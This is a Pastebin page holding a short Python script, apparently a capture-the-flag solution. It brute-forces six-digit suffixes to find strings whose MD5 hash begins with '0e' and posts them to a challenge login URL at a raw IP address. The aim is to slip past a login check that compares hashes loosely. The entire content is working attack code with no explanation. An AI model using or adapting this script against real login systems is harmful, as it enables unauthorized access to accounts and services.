Advertisement
finalshare

Untitled

Feb 2nd, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 0.98 KB | None | 0 0
  1. import requests
  2. import sys, traceback
  3. import hashlib
  4. id = '0e_adm1n_is_M3_999607'
  5.  
  6. for a in range(0,10):
  7.     for b in range(0,10):
  8.         for c in range(0,10):
  9.             for d in range(0,10):
  10.                 for e in range(0,10):
  11.                     for f in range(0,10):
  12.                         id = '0e_adm1n_is_M3_' 
  13.                         mystring =id+str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
  14.                         hash_object = hashlib.md5(mystring.encode())
  15.                         passwd=str(hash_object.hexdigest())
  16.                        
  17.                         if (passwd[0:2]=='0e'):
  18.                             #fi.write(str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+' '+passwd+'\n')
  19.                             r = requests.post('http://35.185.155.1/chall2_f083b9fe538b62746466e63998dc2e07/?'+'login='+mystring+'&passwd='+str(a)+str(b)+str(c)+str(d)+str(e)+str(f), data = {'login':'a','passwd':'a'})
  20.                             r.encode='ascii'   
  21.                             if (len(r.text) !=508):
  22.                                 print mystring
  23.                                 sys.exit(0)
  24.                             else :
  25.                                 print 'http://35.185.155.1/chall2_f083b9fe538b62746466e63998dc2e07/?'+'login='+mystring+'&passwd='+str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement